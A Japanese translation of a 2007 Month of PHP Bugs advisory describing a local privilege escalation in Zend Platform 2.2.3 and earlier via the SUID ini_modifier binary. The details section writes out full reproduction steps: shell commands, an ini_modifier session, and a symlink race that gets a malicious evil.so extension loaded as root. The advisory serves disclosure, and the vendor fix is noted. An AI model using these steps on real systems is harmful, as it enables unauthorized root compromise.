“the Month of PHP Bugs”をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:不必要
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
ZendプラットフォームにはGUIでphp.iniファイルを編集するini_modifierが付属します。ini_modifierを悪用することにより、ローカルの攻撃者はGUIに必要なパスワードを知らなくてもphp.iniファイルを変種できます。例えば、攻撃者はルート権限を取得する不正なPHP拡張モジュールをphp.iniに追加し、次のサーバ再起動を待つことができます。
■影響するバージョン
Zendプラットフォーム2.2.3以下
■詳細情報
Zendプラットフォームをインストールすると、SUIDされたini_modifierバイナリがインストールされます。
$ ls -la /usr/local/Zend/sbin/ini_modifier -rwxr-sr-x 1 root zendtech 243240 2006-08-14 16:24 ini_modifier
GUIからシステム全体に利用されるphp.iniファイルを編集する事がこのバイナリファイルの目的です。ini_modifierは乱用を防ぐために何かを編集するまえにGUIパスワードを要求します。ini_modifierはGUIパスワードのMD5ハッシュをphp.iniから読み込みます。それは辞書またはレインボーテーブル攻撃でクラックできますが、ini_modifierの脆弱性を利用する単純な方法もあります。
ini_modifierは-fオプションを使い別のphp.iniファイルを編集対象に指定でき、このオプションを利用するとシステム全体のphp.iniをGUIパスワードなしで編集できます。
$ cd /tmp $ mkdir ini $ cd ini $ cp /usr/local/Zend/etc/php.ini . ... now edit zend_gui_password in the copy to a MD5 of your choice and ... REMEBER the old MD5 $ cd .. $ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n Password: (ini_modifier) help modify entry - Modifies an entry. switch extension - Enables or disables an extension. switch zend_extension - Enables or disables a Zend extension. help - Shows this help. write - Writes the changes. quit - Quits the program. (ini_modifier) switch zend_extension /var/www/upload/evil.so on (ini_modifier) modify entry Zend zend_gui_password OLDMD5 (ini_modifier)
同時に以下のコマンドを別のコンソールから実行します。
$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini
そしてiniファイルの編集を続けます。
(ini_modifier) write (ini_modifier) quit $ cat /usr/local/Zend/etc/php.ini [PHP] zend_extension=/var/www/upload/evil.so ... zend_gui_password=OLDMD5
攻撃者は次のWebサーバの再起動で不正なZend拡張モジュールがロードされルート権限で実行されます。
■PoC、攻撃コードまたは再現手順
詳細情報を参照
■備考
この問題は2007年1月末にZend社に通知されました。Zend社はini_modifierのアップデートをZend社のWebサイトで提供していますが、Zendプラットフォーム3.0へのアップグレードを薦めています。